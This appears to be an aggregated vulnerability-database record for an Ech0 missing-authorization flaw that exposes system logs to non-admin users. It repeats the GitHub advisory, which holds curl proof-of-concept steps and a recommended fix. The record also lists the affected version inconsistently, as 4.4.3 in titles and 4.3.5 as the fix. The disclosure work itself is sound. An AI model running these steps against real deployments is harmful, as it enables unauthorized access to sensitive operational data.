{"id":"CVE-2026-79666","aliases":["EUVD-2026-65448","GHSA-7j6f-2mq2-g5vq","GHSA-cp79-9mwr-wr49","GO-2026-5328"],"status":"published","title":"Ech0 before 4.4.3 Missing Authorization via dashboard log endpoints","description":"Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00385,"percentile":0.3282,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-862"],"published":"2026-04-10T19:40:02Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"Go","package":"github.com/lin-snow/ech0","fixed_in":["4.3.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.3.5"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.3.5"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"products":[{"vendor":"lin-snow","product":"ech0"}],"references":[{"url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-cp79-9mwr-wr49","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/ech0-before-missing-authorization-via-dashboard-log-endpoints","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79666","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7j6f-2mq2-g5vq"},{"url":"https://github.com/lin-snow/Ech0/releases/tag/v4.3.5","tags":["web"]},{"url":"https://github.com/advisories/GHSA-cp79-9mwr-wr49"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79666.json","tags":["advisory"]},{"url":"https://github.com/lin-snow/Ech0","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-79666","title":"Ech0 before 4.4.3 Missing Authorization via dashboard log endpoints","description":"Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.","status":"published","published":"2026-08-25T11:33:28.747Z","modified":"2026-08-27T15:11:56.193Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-65448","description":"Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.","status":"published","published":"2026-08-25T11:33:28Z","modified":"2026-08-27T15:11:56Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:27.663452Z"}],"ghsa":[{"id":"GHSA-7j6f-2mq2-g5vq","title":"Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints,...","description":"Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.","status":"published","published":"2026-08-25T12:31:27Z","modified":"2026-08-25T12:31:34Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:10:56.831918Z"},{"id":"GHSA-cp79-9mwr-wr49","title":"Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs","description":"## Summary\n\nEch0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.\n\n## Impact\n\nAny valid user session can access `GET /api/system/logs` and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.\n\n## Details\n\nThe issue is caused by an authorization gap between route registration, handler logic, and the service layer.\n\n`internal/router/dashboard.go` registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:\n\n```go\nfunc setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\t// Auth\n\tappRouterGroup.AuthRouterGroup.GET(\"/system/logs\", h.DashboardHandler.GetSystemLogs())\n\tappRouterGroup.AuthRouterGroup.GET(\"/system/logs/stream\", h.DashboardHandler.SSESubscribeSystemLogs())\n\tappRouterGroup.WSRouterGroup.GET(\"/system/logs\", h.DashboardHandler.WSSubscribeSystemLogs())\n}\n```\n\n`internal/handler/dashboard/dashboard.go` returns log data directly and the SSE/WS handlers only check whether `jwtUtil.ParseToken(token)` succeeds:\n\n```go\nfunc (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\tlogs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{\n\t\t\tTail:    tail,\n\t\t\tLevel:   ctx.Query(\"level\"),\n\t\t\tKeyword: ctx.Query(\"keyword\"),\n\t\t})\n\t\tif err != nil {\n\t\t\treturn res.Response{Err: err}\n\t\t}\n\t\treturn res.Response{\n\t\t\tData: logs,\n\t\t\tMsg:  \"获取系统日志成功\",\n\t\t}\n\t})\n}\n```\n\n`internal/service/dashboard/dashboard.go` exposes the log backend without adding a compensating admin check:\n\n```go\nfunc (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {\n\ttail := query.Tail\n\tif tail \u003c= 0 {\n\t\ttail = 200\n\t}\n\treturn logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)\n}\n```\n\nAffected endpoints:\n\n- `GET /api/system/logs`\n- `GET /api/system/logs/stream?token=...`\n- `GET /ws/system/logs?token=...`\n\n\n## Proof of concept\n\n### 1. Start the app\n\n```bash\ndocker run -d \\\n  --name ech0 \\\n  -p 6277:6277 \\\n  -v /opt/ech0/data:/app/data \\\n  -e JWT_SECRET=\"Hello Echos\" \\\n  sn0wl1n/ech0:latest\n```\n\n### 2. Initialize an owner account and register a normal user\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:6277/api/init/owner\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"owner\",\"password\":\"ownerpass\",\"email\":\"owner@example.com\"}'\n\ncurl -sS -X POST \"http://127.0.0.1:6277/api/register\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"winky\",\"password\":\"winkypass\",\"email\":\"winky@example.com\"}'\n```\n\n### 3. Log in as the non-admin user and request the system log endpoint\n\n```bash\nwinky_token=$(\n  curl -sS -X POST \"http://127.0.0.1:6277/api/login\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"winky\",\"password\":\"winkypass\"}' \\\n  | sed -n 's/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p'\n)\n\ncurl -sS \"http://127.0.0.1:6277/api/system/logs\" \\\n  -H \"Authorization: Bearer $winky_token\"\n```\n\nObserved response: the non-admin user receives 200 OK and a JSON response containing entries from `app.log`\n\n\u003cimg width=\"1073\" height=\"183\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0a836fa-121f-4fb7-a94c-92344d9aedd8\" /\u003e\n\n\nThe same missing-authorization pattern also affects:\n\n- `GET /api/system/logs/stream?token=\u003cnon-admin-token\u003e`\n- `GET /ws/system/logs?token=\u003cnon-admin-token\u003e`\n\n\n## Recommended fix\n\nRequire an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.\n\nSuggested change in `internal/router/dashboard.go`:\n\n```go\nimport (\n\t\"github.com/lin-snow/ech0/internal/handler\"\n\t\"github.com/lin-snow/ech0/internal/middleware\"\n\tauthModel \"github.com/lin-snow/ech0/internal/model/auth\"\n)\n\nfunc setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/system/logs\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.GetSystemLogs(),\n\t)\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/system/logs/stream\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.SSESubscribeSystemLogs(),\n\t)\n\tappRouterGroup.WSRouterGroup.GET(\n\t\t\"/system/logs\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.WSSubscribeSystemLogs(),\n\t)\n}\n```\n\nSuggested defense-in-depth change in the service layer:\n\n```go\nfunc (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {\n\tif err := s.ensureAdmin(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\n\ttail := query.Tail\n\tif tail \u003c= 0 {\n\t\ttail = 200\n\t}\n\treturn logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)\n}\n```","status":"published","published":"2026-04-10T19:40:02Z","modified":"2026-06-02T11:30:09Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:40:15.638885Z"}],"nvd":[{"id":"CVE-2026-79666","description":"Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.","status":"published","published":"2026-08-25T12:16:34.67Z","modified":"2026-08-31T20:50:15.927Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:41.347728Z"}],"osv":[{"id":"CVE-2026-79666","title":"Ech0 before 4.4.3 Missing Authorization via dashboard log endpoints","description":"Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.","status":"published","published":"2026-08-25T11:33:28.747Z","modified":"2026-10-28T02:30:38.286249327Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"GHSA-cp79-9mwr-wr49","title":"Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs","description":"## Summary\n\nEch0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope.\n\n## Impact\n\nAny valid user session can access `GET /api/system/logs` and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks.\n\n## Details\n\nThe issue is caused by an authorization gap between route registration, handler logic, and the service layer.\n\n`internal/router/dashboard.go` registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware:\n\n```go\nfunc setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\t// Auth\n\tappRouterGroup.AuthRouterGroup.GET(\"/system/logs\", h.DashboardHandler.GetSystemLogs())\n\tappRouterGroup.AuthRouterGroup.GET(\"/system/logs/stream\", h.DashboardHandler.SSESubscribeSystemLogs())\n\tappRouterGroup.WSRouterGroup.GET(\"/system/logs\", h.DashboardHandler.WSSubscribeSystemLogs())\n}\n```\n\n`internal/handler/dashboard/dashboard.go` returns log data directly and the SSE/WS handlers only check whether `jwtUtil.ParseToken(token)` succeeds:\n\n```go\nfunc (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc {\n\treturn res.Execute(func(ctx *gin.Context) res.Response {\n\t\tlogs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{\n\t\t\tTail:    tail,\n\t\t\tLevel:   ctx.Query(\"level\"),\n\t\t\tKeyword: ctx.Query(\"keyword\"),\n\t\t})\n\t\tif err != nil {\n\t\t\treturn res.Response{Err: err}\n\t\t}\n\t\treturn res.Response{\n\t\t\tData: logs,\n\t\t\tMsg:  \"获取系统日志成功\",\n\t\t}\n\t})\n}\n```\n\n`internal/service/dashboard/dashboard.go` exposes the log backend without adding a compensating admin check:\n\n```go\nfunc (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) {\n\ttail := query.Tail\n\tif tail \u003c= 0 {\n\t\ttail = 200\n\t}\n\treturn logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)\n}\n```\n\nAffected endpoints:\n\n- `GET /api/system/logs`\n- `GET /api/system/logs/stream?token=...`\n- `GET /ws/system/logs?token=...`\n\n\n## Proof of concept\n\n### 1. Start the app\n\n```bash\ndocker run -d \\\n  --name ech0 \\\n  -p 6277:6277 \\\n  -v /opt/ech0/data:/app/data \\\n  -e JWT_SECRET=\"Hello Echos\" \\\n  sn0wl1n/ech0:latest\n```\n\n### 2. Initialize an owner account and register a normal user\n\n```bash\ncurl -sS -X POST \"http://127.0.0.1:6277/api/init/owner\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"owner\",\"password\":\"ownerpass\",\"email\":\"owner@example.com\"}'\n\ncurl -sS -X POST \"http://127.0.0.1:6277/api/register\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"winky\",\"password\":\"winkypass\",\"email\":\"winky@example.com\"}'\n```\n\n### 3. Log in as the non-admin user and request the system log endpoint\n\n```bash\nwinky_token=$(\n  curl -sS -X POST \"http://127.0.0.1:6277/api/login\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"winky\",\"password\":\"winkypass\"}' \\\n  | sed -n 's/.*\"data\":\"\\([^\"]*\\)\".*/\\1/p'\n)\n\ncurl -sS \"http://127.0.0.1:6277/api/system/logs\" \\\n  -H \"Authorization: Bearer $winky_token\"\n```\n\nObserved response: the non-admin user receives 200 OK and a JSON response containing entries from `app.log`\n\n\u003cimg width=\"1073\" height=\"183\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0a836fa-121f-4fb7-a94c-92344d9aedd8\" /\u003e\n\n\nThe same missing-authorization pattern also affects:\n\n- `GET /api/system/logs/stream?token=\u003cnon-admin-token\u003e`\n- `GET /ws/system/logs?token=\u003cnon-admin-token\u003e`\n\n\n## Recommended fix\n\nRequire an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer.\n\nSuggested change in `internal/router/dashboard.go`:\n\n```go\nimport (\n\t\"github.com/lin-snow/ech0/internal/handler\"\n\t\"github.com/lin-snow/ech0/internal/middleware\"\n\tauthModel \"github.com/lin-snow/ech0/internal/model/auth\"\n)\n\nfunc setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/system/logs\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.GetSystemLogs(),\n\t)\n\tappRouterGroup.AuthRouterGroup.GET(\n\t\t\"/system/logs/stream\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.SSESubscribeSystemLogs(),\n\t)\n\tappRouterGroup.WSRouterGroup.GET(\n\t\t\"/system/logs\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.DashboardHandler.WSSubscribeSystemLogs(),\n\t)\n}\n```\n\nSuggested defense-in-depth change in the service layer:\n\n```go\nfunc (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) {\n\tif err := s.ensureAdmin(ctx); err != nil {\n\t\treturn nil, err\n\t}\n\n\ttail := query.Tail\n\tif tail \u003c= 0 {\n\t\ttail = 200\n\t}\n\treturn logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword)\n}\n```","status":"published","published":"2026-04-10T19:40:02Z","modified":"2026-08-27T04:10:27.93258357Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:45.28161Z"},{"id":"GO-2026-5328","title":"Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs in github.com/lin-snow/ech0","description":"Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs in github.com/lin-snow/ech0.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/lin-snow/ech0 before v4.3.5.","status":"published","published":"2026-06-25T18:43:19Z","modified":"2026-08-27T04:10:27.93258357Z","updated_at":"2026-11-02T15:47:02.556545Z"}]}}
